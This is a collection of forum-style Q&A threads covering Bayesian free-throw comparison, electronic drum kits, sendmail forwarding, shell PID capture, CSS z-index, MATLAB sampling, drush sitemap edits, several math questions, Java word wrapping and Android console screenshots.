The point I alluded to in my comment is that the prior knowledge can matter a great deal.  If we happen to know that the "John" happens to be basketball Hall of Famer John Stockton and the "Mike" happens to be me, then 100 shots are not going to be nearly enough to convince you that I'm better.  You prior distribution for John Stockton's true talent would probably be somewhat tight with a mean near .8 or so (he was .8261 for his career), whereas who knows for me...it might be .3 for all I know.
If you are estimating the true talent probabilities of making a free throw, you at least know that the values must lie in (0, 1), so a minimal prior distribution for each would be the uniform probability distribution on (0, 1).  This is equivalent to using the Beta distribution with parameters $\alpha = \beta = 1$.  Through some calculations I won't get into (along with Bayes theorem), it turns out that the posterior distribution is also a Beta distribution with parameters $\alpha + i$ and $\beta + j$ (assuming the player made $i$ shots in $i + j$ attempts).
So our posterior distribution for John is $Beta(39, 13)$ and for Mike it is $Beta(81, 21)$.  So with these priors our posterior estimate of John's mean talent is $\frac{39}{52} = .75$ and for Mike it is $\frac{81}{102} \approx .794.$  I believe finding the answer to how likely Mike is better in a nice closed form is messy, and I don't have the tools handy to calculate the exact answer, but you would integrate/sum the portions of those curves where Mike is better to find the answer.  Nick's code looks like it will probably get you a nice approximation.  I can tell you that with the prior I chose Mike will be higher (since they had the same prior and Mike had the higher sample mean, it does pass the smell test that Mike will have a higher posterior mean).
Answer: Okay. I think I figured out the general answer:
Given a sample of n/N made, the probability that the population success rate is greater than x is defined by the posterior probability distribution:

$\frac{\int_{x}^1 r^n(1-r)^{N-n}\ dr}{\int_{0}^1 r^n(1-r)^{N-n}\ dr}$

So for my example the chance that Mike's free throw percentage is greater than x is:

$\frac{\int_{x}^1 r^{80}(1-r)^{20}\ dr}{\int_{0}^1 r^{80}(1-r)^{20}\ dr}$

We then need to integrate that over the probability distribution for John's free throw percentages:

$\frac{\int_{0}^1 \int_{x}^1 x^{38}(1-x)^{12} r^{80}(1-r)^{20}\ dr\ dx}{\int_{0}^1 x^{38}(1-x)^{12}\ dx \int_{0}^1 r^{80}(1-r)^{20}\ dr}$

Which as whuber said is ~ 72.66%
For the WolframAlpha solution:

Integrate[y^38 (1 - y)^12 x^80 (1 - x)^20, {x, 0, 1}, {y, 0, x}]/(Integrate[y^38 (1 - y)^12, {y, 0, 1}] Integrate[x^80 (1 - x)^20, {x, 0, 1}])
Comment: This is correct!  The denominator of course is the product of two Beta functions.  The numerator is equivalent to the generalized hypergeometric function I referred to.
Comment: @whuber Thank you for getting me started. I'm still new to stats so I had to scour wikipedia and my long forgotten calculus for help.
Answer: I think what you want to do is compare the predictive distributions of both players. The predictive distribution describes the probability that Mike/John will make his next shot given the data (integrating out the parameters).
Here is some Matlab code you can play with:
<code>clear;
clc;
rng = linspace(0, 1, 100);

% data
j = [38 50];
m = [80 100];

% priors (I assume uniform, but you can integrate external knowledge here)
a0 = 1;
b0 = 1;

% posterior distribution for each player
post_j = [a0 + j(1), b0 + j(2) - j(1)];
post_m = [a0 + m(1), b0 + m(2) - m(1)];

% visualize
postj = betapdf(rng, a0 + j(1), b0 + j(2) - j(1));
postm = betapdf(rng, a0 + m(1), b0 + m(2) - m(1));
figure(1); plot(rng, postj, 'r',...
                rng, postm, 'k');
title('Posterior Distributions');
legend('Jon', 'Mike');
xlabel('Theta');

%% SAMPLING FROM PREDICTIVE

SAMPLES = 5000;

predj = zeros(SAMPLES, 1);
predm = zeros(SAMPLES, 1);
for i = 1:SAMPLES
    pj = betarnd(post_j(1), post_j(2));
    lj = binornd(1, pj);
    predj(i) = lj;

    pm = betarnd(post_m(1), post_m(2));
    lm = binornd(1, pm);
    predm(i) = lm;
end

% Comparison of (sampled) predictive distributions:
fprintf('P(d_john | Dj) > P(d_mike | Dm) = %.3f\n', sum(predj > predm) / SAMPLES);
fprintf('P(d_john | Dj) < P(d_mike | Dm) = %.3f\n', sum(predj < predm) / SAMPLES);
fprintf('P(d_john | Dj) = P(d_mike | Dm) = %.3f\n', sum(predj == predm) / SAMPLES);

pred_j = sum(predj) / SAMPLES;
pred_m = sum(predm) / SAMPLES;

fprintf('Probability that John will make his next shot: %.4f\n', pred_j);
fprintf('Probability that Mike will make his next shot: %.4f\n', pred_m);
</code>
Comment: Aren't the probabilities for John and Mike to make their next shot simply respectively 0.76 and 0.8? Either way, that's not what I'm trying to determine. What I'd like to calculate is the probability (given the limited observations) that Mike has a higher free throw percentage than John.
Comment: +1.  The posterior probability that Mike, with distribution $B(\alpha,\beta)$, is better than John, with distribution $B(\gamma,\delta)$, is proportional to a generalized hypergeometric distribution.  This can be computed either as a polynomial or as a rapidly converging power series, giving far greater computational accuracy than any simulation.
Comment: @HawkEgg There is uncertainty about how good either John or Mike are.  E.g., if Mike makes 2/3 shots and John makes 8/11 shots, the estimated probability for each is 3/4 (assuming uniform priors for each), but the chance that John is better than Mike is only 165/364 = 45.3% because there's a good chance Mike is a superb shooter (and got unlucky once) whereas we have a fairly good idea how good John is (because he has taken more shots).
Comment: @whuber Are you saying that Mike, who made a lower % of shots than John, has a 54.7% chance of being better than John? That doesn't pass my sniff test. Could you give me some more details on how you calculated the 3/4 and 45.3% numbers? A reference?
Comment: @HawkEgg if you'd like to know who has the higher free throw percentage than you can compare the posterior distributions instead of the predictive. That is, you can compare a Beta(a0 + shots made, b0 + shots missed) for each player.
Comment: @HawkEgg: Mike: 80/100 = 80%; John: 38/50 = 76%.  Sniff again :-).
Comment: @whuber I was referring to _"Mike makes 2/3 shots and John makes 8/11 shots"_ Not realizing that you were adding that to the previous totals (38/50 & 80/100)

Binomial Probability Question


What differences with an acoustic kit should a new drummer keep in mind when starting on an electric kit

Question: After years as a bass player I'm thinking of getting an eletric drum kit and learning how to play. (I want to play an electric kit because I'm often home late and want to be able to practise without disturbing the neighbours). I'm looking for bad habits, important differences and common pitfalls a new drummer might aquire or come across when starting off on an eletric kit that might trip him up when switching to acoustic later on.
(Keeping in mind that I'm talking about what seems to be decent entry-level kits priced at $1000 and above)
Answer: A couple of things come to mind:

positioning - pads are generally smaller than real drums and cymbals, so if you set them up close together, you'll be surprised when you have to reach a lot farther on a real kit.  I've spaced my Roland pads and cymbals farther apart so that the centers of the pads more or less match the centers of the drums on my acoustic kit.
stick response of pads compared to real drums - I think rubber pads are a little harder than the mylar heads on acoustic drums, and seem to put more stress on your hands than real drums.  However, mesh pads are very comparable to acoustic drums - I think they're easier on your hands and wrists than the rubber ones.
dealing with dynamics - there's no volume knob on an acoustic kit - you have to control the dynamics with your hands and feet.  Electronic kits let you change the overall volume of the kit and also the relative volume of the different instruments in the kit with a knob.  This can often turn out to be a problem with the kick drum - sometimes students who learn exclusively on electronic kits have difficulty getting used to how hard you have to hit an acoustic kick drum for an accent or cymbal crash.

As yossarian says, there are some subtleties which I think would be harder to learn on an electronic kit, like rimshots, cymbal sounds and hihat sounds.  One the other hand, I've played acoustic drums for 40 years and have a Roland TD9 electronic kit, and I'm amazed at how sensitive they are in those areas.
YMMV, hope this helps.
Answer: I'm not a drummer, but I think the answer is a basic: technique. E-drums are not nearly as responsive as a real kit, it will be hard to get a good understanding of:

How to do a rim shot
How hitting a cymbal in a different place or with different velocity or a different part of the stick will really effect your sound
How using your wrist as a spring to bounce the stick back on to the snare after an initial hit will sound

I assume that the better the E-drums are, the better they'll cope with these issues. However, they'll never get all the way there, and it doesn't sound like you're looking at that class of instrument anyway.
BUT, I think you'll be just fine learning how to play drums on an electronic set. If you get serious about it though, you'll definitely want to get a real set to practice on as well. My drummer uses eDrums in his apartment and has his kit in our rehearsal space.


configure standard sendmail install to accept outside connections and forward mail to gmail account

Question: I want to have some mail accounts on my domain (contact, webaster) redirected to my gmail account.
In order to do this I installed sendmail.
Default install (apt-get install sendmail on ubuntu server 10.04) has local daemon, and only accepts delivery to local accounts.
To forward I activated virtusertable on sendmail.mc adding the line FEATURE(virtusertable)dnl, edited the file /etc/mail/virtusertable and added the lines:
email@example.com   email@example.com
firstname.lastname@example.com    email@example.com

finally, I did m4 sendmail.mc > sendmail.cf and make virtusertable.db, and edited the sendmail.cf to change the daemon listenting on my external ip's interface instead of 127.0.0.1.
As a result I can send email to, let's say email@example.com from any host and it gets to my server's root local mail account, but on the forwarded accounts (webmaster, contact) I don't get any delivery error message but neither any forwarded mail on my gmail account, or local mail on the server like it happens with email@example.com which is not forwarded using virtusertable.
I guess I would like to know what's happening (I don't even know where is the log file), and how to fix it. And also how can I change the daemon config on sendmail.mc to allow outside connections instead of just local ones without having to edit sendmail.cf file.
Answer: I just forgot about virtusertable and edited /etc/mail/aliases file instead, adding the lines:
webmaster:    email@example.com
contact:      email@example.com

then I executed newaliases and everything peachy.
Now, about proper config of the daemon to listen on 127.0.0.1 and also on any other interface editing sendmail.mc instead of sendmail.cf I've found this: http://lists.samba.org/archive/linux/2002-August/004310.html
which basically tells to simply place dnl at the front of the line which specifies the daemon options, which will make sendmail listen on all available network interfaces. e.g:
dnl DAEMON_OPTIONS('Port=smtp,Addr=127.0.0.1, Name=MTA')

of course after doing that it's necessary to rebuild the config files (m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf) and restart sendmail.


How to get the PID of a process started by /bin/su -c

Question: I'm writing a init.d-script for an java-app. But the java-app should be run by another user.
(The OS I'm using is Debian Squeeze.)
I already got this:
<code>/bin/su - $USER - c "cd $PATH;echo $PASSWORD | $JAVA -Xmx256m -jar $PATH/app.jar -d > /dev/null" & PID=$!
/bin/su - $USER - c "echo $PID > $PIDFILE"
</code>
But this will of course only save the pid of the "/bin/su"-process instead of the pid of the created java-process.
Answer: Echo the PID inside the commands executed by "su":
<code>/bin/su - $USER -c "cd $PATH;echo $PASSWORD | \
  $JAVA -Xmx256m -jar $PATH/app.jar -d > /dev/null & echo $! > $PIDFILE"
</code>
Comment: Its empty because `$!` is being evaluated by the shell running `su`, not the shell that `su` runs. If you change the `$!` to `\$!` or change the double-quotes to single-quotes it should work.
Comment: I tried that, but the $PIDFILE is just empty (except for a linebreak) when using that command.


CSS/HTML how not to overlap fixed header

Question: I have a twitter/facebook like header, a fixed one and a main content. When I would scroll down to my last line, the content div is overlapping the header. How can I avoid this?
this is the screenshot of my page:

This is the structure of my html:

<?php include("initcontrols/header.php"); echo $plHeader;?>

It seems your browser doesn't support Javascript.

    slide tile (figure 2a)

        flip tile front (figure 2b)

        flip tile back (figure 2b)

My css:
div#header{
padding-left:15px;
overflow:hidden;
position: fixed;
margin:0px;
top:0px;
left:0px;
display: block;
width: 100%;
height: 90px;
-moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.5);
background:#333333;
background: -moz-linear-gradient(center top , #736F6E, #111111) repeat scroll 0 0 transparent;
}
div#header-title{
color: #FFF;
float: left;
display:inline-block;
}
div#header h2{
margin: 0 0 0 3px;
z-index:12;
}
div#header h1{
margin-top:0;
margin-bottom:0;
}

#mainform{
width:960px;
background: #F0F0F0;
border: 1px solid #CCC;
height: 2000px;
margin: 100px auto;

}

and for my live-tile look:
http://pastebin.com/cpBXYVRu
I used a template by http://www.drewgreenwell.com/projects/metrojs#applicationBar:
Comment: Have a read of this https://developer.mozilla.org/en-US/docs/CSS/z-index
Comment: Try setting up a JS Fiddle. It'll help a lot.
Comment: Does it have PHP? @MichaelGiovanniPumo
Comment: @bEtTyBarnes you know...I'm not sure, but in any case, you could just copy and paste the HTML from View->Source in your browser to the fiddle. With your PHP include above, we have no way of knowing what's in it.
Comment: try this buddy: http://jsfiddle.net/bettybarnes/WYdH6/
Comment: Is it just me or I don't see any div with the ID header in your HTML?
Comment: @KerrM because I used php:
Comment: in my header.php there is div id="header"
Comment: Okay - navigate to the php file in your browser, click on view->source, and update your HTML with the relevant parts there, so we may have a better idea of what's going on.
Answer: You can adjust the z-index of an element to position it behind another. In this instance, you would want to increase the z-index of your fixed header. Read more about z-index here and here.
Comment: I adjusted my z-index but my image button is still overlapping the header?
Comment: What image button? The red tile?
Comment: The div with the "live-tile" has a z-index of 30 as seen: `.live-tile .tile-title, .list-tile .tile-title { position:absolute; bottom:0px; font-size:12px; left:0px; width:100%; padding:0 0 6px 6px; z-index:30; }`, did you make sure your header div has a higher z-index?
Comment: thanks! I got it now! I increased my z-index in #header, I was wondering why it was not working, coz I added px.
Answer: i think there is image there which makes your content to hide behind header you can clearly see like letter image and its position is absolute find it and check its z-index and give your content z-index less then it so that it remains behind that
Comment: Adjusting the z-index was already proposed in the answer by @KerrM. Moreover, the question is already 2 years old...


Randomly generating integers with prior probabilities

Question: I'm after a nice method to draw from a range of integers given known prior probabilities.
Say I wanted an 80% chance of drawing 1, a 15% chance of drawing 2, and a 5% chance of drawing 3...
I'm obviously thinking about this wrong, since neither
[~,I] = max([.80 .15 .05] .* rand(1,3))
nor
[~,I] = max([.80 .15 .05] + rand(1,3))
appears to achieve this...(rand samples from a uniform distribution)
Does anyone have a suggestion that will extend to any range of integers?
** Additional Comment **
I realise now for rational probabilities it's trivial just to create a vector comprised of these options proportionally (80% 1s, 15% 2s, and 5% 3s), and then just randperm the contents of the vector and choose the first element over and over...
This method is bad if the probabilities do not behave nicely...
Comment: In R, there's the `sample` and `sample.int` functions. e.g. `sample(3,100,replace=TRUE,p=c(.8,.15,.05))` will generate 100 values from the distribution in your question.
Comment: Thanks @Glen_b. I need to implement a solution in MATLAB...and so it would be great to understand how this function in R is achieving this...
Comment: R is open source; you can read the code but I don't think you'll find it as enlightening in this case as the indicated duplicates. The [table](https://stats.stackexchange.com/a/68041/805) method would probably serve you well. It's quite fast -- you take a longish array and fill it with values in the right proportions so that you are almost sampling with the required probabilities; there's normally a few "leftover" cells at the end which take you to a second step of generation that take you up to the exact probabilities you need (and that step can use any convenient other method)
Answer: Why don't you split your interval into three pieces of unequal length and assign the corresponding integer. Here the Matlab code:
<code>%% define percentage
perc = [80, 95, 100];

%% number of random integers
nMax = 1e3;

%% generate integers
tic
vec = randi([1, 100],1,nMax);
t   = toc;
disp(['Generated ' num2str(nMax) ' random integers in ' num2str(t) 's'])

%% get indices
tic
% idx(numel(perc)).dat = NaN; % only needed if you have many intervals
for i = 1:numel(perc)
   idxVec(i).dat      = find(vec <= perc(i));
   vec(idxVec(i).dat) = NaN;
end
t = toc;
disp(['Indexed ' num2str(nMax) ' random integers in ' num2str(t) 's'])

%% plotting:
figure(1);
for i = 1:numel(perc)
    plot(idxVec(i).dat, i*ones(1,numel(idxVec(i).dat)), '.');
    hold on;
end
hold off
</code>
I'm not sure how big your database is. However, for my standard the code is fast:
<code>Generated 10 000 000 random integers in 0.21746s
Indexed 10 000 000 random integers in 0.35026s
</code>
PS: You should remove the time taking (tic, toc) and the figure. Especially the plotting will take time for a large database.
Comment: This is reasonable for my given example, but it becomes a bit clunky when I want to choose from a larger range of values. Thanks for your answer. :)
Comment: I edited the code, so that it is optimized for Matlab.


How to remove a URL from my XML sitemap?

Question: I have installed the XML sitemap module and included all my articles in the sitemap. By default, also the URL node/add/article is added, but I do not want that since anonymous users cannot visit this page. Google's Search Console tells me that the URL is blocked by robots.txt - which is great - but I want to get rid of the warning messages that show up due to the blocking.
How can I delete the URL node/add/article from my sitemap?
Answer: This could either happen because it's node/add/article is included within a menu that's indexed by XML Sitemap or a custom path that was added.
In either case, a drush command can update the path flag for exclusion & rebuild the sitemap so that it's no longer there.
<code>drush sqlq "UPDATE xmlsitemap SET status = 0 WHERE loc = 'node/add/article'"
drush xmlsitemap-rebuild
</code>
If you need to do this through the UI, you'll need to check either /admin/config/search/xmlsitemap/custom for a custom link or edit the menu item that contains it (/admin/structure/menu).


Help with quadratic sequence for son's homework

Question: I'm sorry this is really basic. I'm terrible with math and I'm struggling to help my son with homework:
Find an expression in terms of n for the nth term in this sequence:
$0 , 9 , 22 , 39, 60, \ldots$
We can get the $2n^{2}$ part of the answer but just can't get the rest. Any help gratefully appreciated.
Sorry again for there basic question.
Answer: Given that the sequence is quadratic, start by assuming that
$$a_n=An^2+Bn+C$$
for some $A,B,C$. Since $a_0=0$, it follows immediately that $C=0$ and
$$a_n=An^2+Bn$$
Furthermore, since $a_1=9$ and $a_2=22$, you have
$$a_1=A+B=9$$
$$a_2=4A+2B=22$$
and you have the system of equations
$$A+B=9$$
$$4A+2B=22$$
When solved, this yields $A=2$ and $B=7$. Thus you have
$$a_n=2n^2+7n$$
Comment: @dukie2017 Glad to help! If you found it helpful, don't forget to $\color{green}{\uparrow}$ and $\color{green}{\checkmark}$! :D
Comment: That's amazing - thank you so much. Crisis averted.
Answer: Every quadratic sequence has successive differences in arithmetic progression.  That is to say, if the original terms are $$a_0, a_1, a_2, a_3, \ldots,$$ then the sequence defined by $$b_k = a_{k+1} - a_k, \quad k = 0, 1, 2, \ldots$$ is an arithmetic progression, which in turn implies $$c_k = b_{k+1} - b_k$$ is a constant sequence.
Specifically, we find $$b_0 = 9, \quad b_1 = 22 - 9 = 13, \quad b_2 = 39-22 = 17, \quad b_3 = 60 - 39 = 21.$$  Then $$c_0 = 13 - 9 = 4, \quad c_1 = 17 - 13 = 4, \quad c_2 = 21 - 17 = 4.$$  Thus the formula for $b_k$ is $$b_k = b_0 + c_0 k = 9 + 4k.$$  How do we use this to find $a_k$?  We observe $a_{k+1} = a_k + b_k = a_k + 9 + 4k$.  We unfold this recursion once to give $$a_{k+1} = (9 + 4k) + (9 + 4(k-1)) + a_{k-2} = 18 + 4(k + (k-1)).$$  If we unfold this all the way, we get $$a_{k+1} = 9(k+1) + 4(k + (k-1) + \cdots + 1) + a_0,$$ which gives $$a_k = 9k + 2k(k-1) + a_0 = 2k^2 + 7k + a_0.$$  Since $a_0 = 0$, we get $$a_k = k(2k+7).$$

If we reason in reverse, we can establish the above property of quadratic sequences (namely, their successive differences are in arithmetic progression).  For suppose $$a_k = Ak^2 + Bk + C$$ for $k = 0, 1, 2, \ldots$.  Then $$b_k = a_{k+1} - a_k = A(k+1)^2 + B(k+1) + C - Ak^2 - Bk - C = 2Ak + (A+B).$$  This is an arithmetic sequence with common difference $2A$.  Thus we can use this rather than the unfolding we did above:  Since the common difference was found to be $4$, we know $2A = 4$ or $A = 2$.  Since the initial term (offset) of $\{b_k\}$ is $b_0 = 9$, and this is $A+B$, we find $B = 9 - 2 = 7$.  Finally, since $a_0 = 0$, we get $C = 0$, and $$a_k = 2k^2 + 7k + 0 = k(2k+7).$$
Answer: Another way to get the answer is to see what you have left.
If you suspect that you have the $2n^2$ part, then write that out:
$$0, 2, 8, 18, 32$$
Subtract this sequence from what you have to get
$$(0-0), (9-2), (22-8), (39-18), (60-32) \\ \to 0, 7, 14, 21, 28$$
Now it's fairly clear that the missing part is $7n$.


What are the parameters in mesh parameterization?

Question: I recently heard about mesh parameterization as a way of parameterizing the geometry of an arbitrary mesh by mapping it onto a surface, like a sphere. I am not a mathematician, so I don't know how to formally define this problem, but can someone help me understand (in simple terms) what exactly is meant by parameterizing a mesh? Is this parameterization a function, and if so, is there a closed-form equation for it? Or, are the parameters a fixed set of coefficients?
Thanks so much.
Answer: One sensible interpretation of "mesh parameterization" is that it describes the process of fitting a parametric surface to a triangular mesh.
A parametric surface in three dimensions is a function $f(u,v) = (x,y,z) : R2 \rightarrow R3$ and a domain for the parameters $u,v$

What are the parameters?

"parameters" refers to $u,v$, the inputs to the parametric equation that yields a surface which resembles your triangular mesh. It does not refer to the parameters in some function that yields a parameterization.
The best fitting parametric surface and method of finding it will entirely depend on how you define "best".

Is this parameterization a function, and if so, is there a closed-form equation for it?

The thing you are describing, "mesh parameterization", is an extremely general idea. Depending on the goals you could approach it many different ways and end up with very different parameterizations. It does not refer to any specific closed-form algorithm.
Here is a paper that surveys different approaches to mesh parameterization, their definition is even more general than just surface fitting.
[1] Mesh Parameterization Methods and Their
Applications, 2006
https://www.cs.ubc.ca/~sheffa/papers/CGV011-journal.pdf

Given any two surfaces with similar topology, it is possible to compute
  a one-to-one and onto mapping between them. If one of these surfaces
  is represented by a triangular mesh, the problem of computing such
  a mapping is referred to as mesh parameterization [7, 35]. The surface
  that the mesh is mapped to is typically referred to as the parameter
  domain.
  ...
The purpose of mesh parameterization is to obtain a map between
  such a mesh and a triangulation of a domain. The map is piecewise
  linear, associating each triangle of the original mesh with a triangle in
  the domain. An important goal of parameterization is to obtain bijective (invertible) maps, where each point on the domain corresponds to
  exactly one point of the mesh.
  ...
One of the earlier applications of mesh parameterization is surface fitting. Many applications in geometry
  processing require a smooth analytical surface to be constructed from
  an input mesh.


Quebrar linha depois de uma quantidade de caracteres sem cortar a palavra

Question: Estou tentando resolver um pequeno dojo de java:
Escreva um programa em que dado uma frase e a quantidade de colunas que podem ser exibidas na tela, faça a quebra de linhas sem quebrar as palavras.
Por exemplo, se passarmos a frase "Um pequeno jabuti xereta viu dez cegonhas felizes." e pedirmos para ela ser exibida em 20 colunas, teremos como resposta:
Um pequeno jabuti
xereta viu dez
cegonhas felizes.

Porém no meu código ele está quebrando a palavra depois do 20 caracter.
public static void main(String[] args) {
        String texto = "Um pequeno jabuti xereta viu dez cegonhas felizes.";
        String novoTexto = "";
        int contadorQntLetras = 0;
        int limiteLinha = 20;

        for( int i = 0; i < texto.length(); i++ ) {
            novoTexto += texto.charAt(i);
            contadorQntLetras++;

            if( contadorQntLetras >= limiteLinha) {
                contadorQntLetras = 0;
                novoTexto += "\n";
            }
        }

        System.out.println(novoTexto);
    }

Resultado:
Um pequeno jabuti xe
reta viu dez cegonha
s felizes.

Answer: O problema é que você está contando somente as letras, desconsiderando o conceito das palavras.
Neste caso, uma opção é dividir o texto de entrada por espaços, gerando um array de  palavras. Depois iterar sobre o array de palavras para reconstruir o texto,  lembrando de colocar a verificação de quebra de linha antes de concatenar uma palavra:
public static void main(String[] args) {
  String texto = "Um pequeno jabuti xereta viu dez cegonhas felizes.";
  StringBuilder novoTexto = new StringBuilder();

  String[] palavras = texto.split(" ");

  int contadorQntLetras = 0;
  int limiteLinha = 20;

  for (String palavra : palavras) {

    if(contadorQntLetras + palavra.length() >= limiteLinha) {
      contadorQntLetras = 0;
      novoTexto.append('\n');
    }

    novoTexto.append(palavra);
    novoTexto.append(' ');
    contadorQntLetras += palavra.length() + 1;
  }
  System.out.println("Result");
  System.out.println(novoTexto);
}


Can we move quantifiers $\forall,\exists$ to the front if there aren't variable collisions?

Question: Let's say I have a formula $\phi$ in First Order Logic, which contains some existential and universal quantifiers quantifiers $\exists, \forall$.
Supposed that in $\phi$ there are no collisions in variables names.
Can we take all the quantifiers of $\phi$, move it on the left (in the same order that appears in $\phi$)?
Example:
$$\phi_1 = \forall x P(x )\rightarrow \exists y T(y) \\
\phi_2 = \forall x\exists y P(x )\rightarrow  T(y) \\
\phi_1 \overset{?}{\equiv} \phi_2$$
Obviously, I'm interested in the general case, not in this one, which is shown just to express the question using an example
I looked this up on Google, and I found many material which talks about prenex normal form, which solves this problem using skolemization, however I can't find an answer to this direct question, and skolemization makes it valid for every instance of $\phi$ that I try it on (but obviously trying many times is not a valid proof )
Comment: The Wikipedia page on [prenex normal forms](https://en.wikipedia.org/wiki/Prenex_normal_form) tells you exactly7 what you need to do and doesn't mention skolemization (which isn't required unless you you want to get rid of any quantifier alternation).
Comment: @RobArthan: I suspect that the source of the confusion is that, in order to skolemize a formula, it must be in prenex normal form; furthermore, this pair of transformations is commonly applied in conversion to conjunctive normal form, which is IMHO the most interesting normal form of the three (because of resolution). It would be easy to conflate them if you always do them one after the other in practice.
Answer: The answer to your general question is very much "no", because moving a quantifier past a connective can change the quantifier. For instance, $\neg \forall x \phi(x)$ is equivalent to $\exists x \neg\phi(x)$ and in the vast majority of cases is not equivalent to $\forall x \neg \phi(x)$.
Comment: So the answer is actually "yes",  but the sense of the quantifiers has to change as you lift the quantifiers up through the propositional connectives.
Answer:
Example:
$$\phi_1 := \forall x\; P(x )\rightarrow \exists y\; T(y) \\
\phi_2 := \color{green}{\Big(}\forall x\;\exists y\; P(x) \color{green}{\Big)}\rightarrow  T(y) \\$$

$$\phi_3 := \forall x\;\exists y \Big( P(x )\rightarrow  T(y) \Big)\\
\phi_4 := \exists x\;\exists y\;\Big( P(x )\rightarrow  T(y)\Big)$$
Formulae $1$ and $4$ are equivalent, whereas neither formula $2$ nor $3$ are equivalent to any of the others.
Therefore, non-collision is not a sufficient condition for a formula to be equivalent to the new one created by simply shifting its quantifiers to the front.

Addendum

can you provide a counterexample where $\phi_1$ and $\phi_3$ are not equals? or an explanation

Consider the set of integers. Let
 $P(x) := x$ is even, and
 $T(x) := x$ is smaller than itself.
For $x=2,$ no integer can make $\Big( P(x )\rightarrow  T(y) \Big)$ true; thus, $\phi_3$ is false.
On the other hand, $\phi_1$ is vacuously true.
Comment: sorry but $\phi_2$ has y as free variable, so it's not just moving quantifiers on the left, but as far as I understood, 1 and 3 are not equivalent (which is what I'm asking)
Comment: 1. I was implicitly pointing out that your $\phi_2$ contains a free variable, and explicitly pointing out that $\phi_2$ and $\phi_3$ don't mean the same.  2. "*but as far as I understood, 1 and 3 are not equivalent*" That's what I said.
Comment: then, can you provide a counterexample where those 2 formulas are not equals? or an explanation for why it's not the case
Answer: In this very particular case, NO, $\phi_1$ is NOT equivalent to $\phi_2$, but the overall "intuition" is correct, except for one edge case that was overlooked.
Let me elaborate. It is indeed the case (assuming no name collisions, obviously) that:
$\forall x Px \land \forall y Qy \iff \forall x \forall y(Px \land Qy) $
$\forall x Px \land \exists y Qy \iff \forall x \exists y(Px \land Qy) $
$\exists x Px \land \forall y Qy \iff \exists x \forall y(Px \land Qy) $
$\exists x Px \land \exists y Qy \iff \exists x \exists y(Px \land Qy) $
$\forall x Px \lor \forall y Qy \iff \forall x \forall y(Px \lor Qy) $
$\forall x Px \lor \exists y Qy \iff \forall x \exists y(Px \lor Qy) $
$\exists x Px \lor \forall y Qy \iff \exists x \forall y(Px \lor Qy) $
$\exists x Px \lor \exists y Qy \iff \exists x \exists y(Px \lor Qy) $
This rule does NOT hold true when we are talking about the first predicate of an implication ($a\implies b$), rather than disjunction ($a \lor b$) or conjuction ($a \land b$). E.g. in your case, $\forall x Px \implies \exists y Qy$ is NOT equivalent to $\forall x Px \implies \exists y Qy$. Rather, by rewriting the implication as a disjunction, we can show that:
$\forall x Px \implies \exists y Qy$
$\iff \neg \forall x Px \lor \exists y Qy$
$\iff \exists x \neg Px \lor \exists y Qy$
$\iff \exists x \exists y (\neg Px \lor Qy)$
$\iff \exists x \exists y (Px \implies Qy)$
Ultimately, we were able to show that:
$\forall x Px \implies \exists y Qy \iff \exists x \exists y (Px \implies Qy)$
In a similiar fashion, we can show all the other cases as well:
$\exists x Px \implies \exists y Qy \iff \forall x \exists y (Px \implies Qy)$
$\forall x Px \implies \forall y Qy \iff \exists x \forall y (Px \implies Qy)$
$\exists x Px \implies \forall y Qy \iff \forall x \forall y (Px \implies Qy)$
So yes, your initial intuition does hold true, as long as there are no implications involved. If there is an implication ivolved, then you will have to "switch" the quantifier of the first predicate when moving the quantifiers around, while the quantifier of the second predicate remains the same, just like with disjunction and conjuction.
After reading your question, I am not too sure if you were only interested in knowing the rules for "moving" quantifiers, or if you wanted a (semi)formal proof for it as well. If you are also interested in having a proof, let me know in the comments and I will edit my question later. In either case, I hope I was able to help!
Comment: The algorithm for putting a formula into prenex normal form is well-known. See https://en.wikipedia.org/wiki/Prenex_normal_form. It does not require conversion to CNF as a preliminary, which is good because the CNF could be much longer than the original.
Comment: therefore we need first to convert to CNF, and then from there we can move them in front "in a blind way"?
Comment: @AlbertoSinigaglia essentially yes, just don't forget to switch the first quantifier when dealing with an implication. However, it is also important to keep in mind that this rule will not always be useful when dealing with predicates. E.g. for the statement $\forall x Px \land \forall x \neg Px$, we can tell intuitively that it is false, but changing the variable name of the second statement ($\forall x Px \land \forall y \neg Py$) and "merging" them together
($\forall x \forall y(Px \land \neg Py)$) won't help us show that it is false. Actually, it is often more helpful to do the opposite.
Comment: @AlbertoSinigaglia in retrospective, if we know that $\forall x \forall y(Px \land Py)$, this implies (by considering only those $y$ for which $y=x$) that $\forall x(Px \land \neg Px)$, which is false. On second thought, maybe moving the quantifiers around CAN always help solve a problem, though it is not always the most intuitive method of doing so.


differential forms, cylindrical coordinates, geometric interpretation

Question: Consider a differential $1$-form $\beta$ which in cylindrical coordinates $(r, \theta, z)$ has the form $$\beta = f(r)\,dz + g(r)\,d\theta,$$where $g'(0) = 0$. Find a condition when $\beta \wedge d\beta$ is a volume form, i.e. it does not vanish anywhere. Interpret this condition geometrically in terms of the properties of the curve given in $\mathbb{R}^2$ with Cartesian coordinates $(u, v)$ by parametric equations $$u = f(r),\text{ }v = g(r)\text{ for }r \in [0, \infty).$$
Answer: We have$$d\beta = f'(r)\,dr \wedge dz + g'(r)\,dr \wedge d\theta,$$and$$\beta \wedge d\beta = (f'g - g'f)\,dr \wedge dz \wedge d\theta.$$Hence the required condition reads$$f'(r)g(r) - g'(r)f(r) \neq 0$$for all $r \neq 0$.
$($Here, it is worthwhile to remark that if $r=0$ we cannot make computations in cylindrical coordinates. The condition $g'(0) = g(0) = 0$ together with the condition $f'(0) = 0$ allows us to extend the form smoothly to $r = 0$. The condition that $\beta \wedge d\beta \neq 0$ along the $z$-axis then reads: $f(0) \neq 0$, $g''(0) \neq 0$.$)$
The condition $f'g - gf' \neq 0$ means that the velocity vector $(f', g')$ of the curve$$u = f(r),\,v = g(r)\text{ for }r \in [0, \infty)$$is never collinear with the radius vector $(f, g)$ of the curve. If we re-express this condition in polar coordinates $(\rho, \theta)$ in the $(u, v)$-plane, it then reads that $\phi' \neq 0$, i.e. when $r \to \infty$ the point $(f(r), g(r))$ keeps rotating around the origin in the same direction.


Android Developer Console screenshots being cropped. Anyone else having this issue? Advise?

Question: When uploading 480x800 or 480x854 png or jpgs to the Android Market Developer console, the images in the console appear poorly scaled and chopped off on the left side. Upon clicking the image you see the "real" thing.
Problem is what you see in the console is also what appears in the Android Market (till user actually clicks on the thumbnail) !!!! So users are seeing images that are chopped off on the left side.
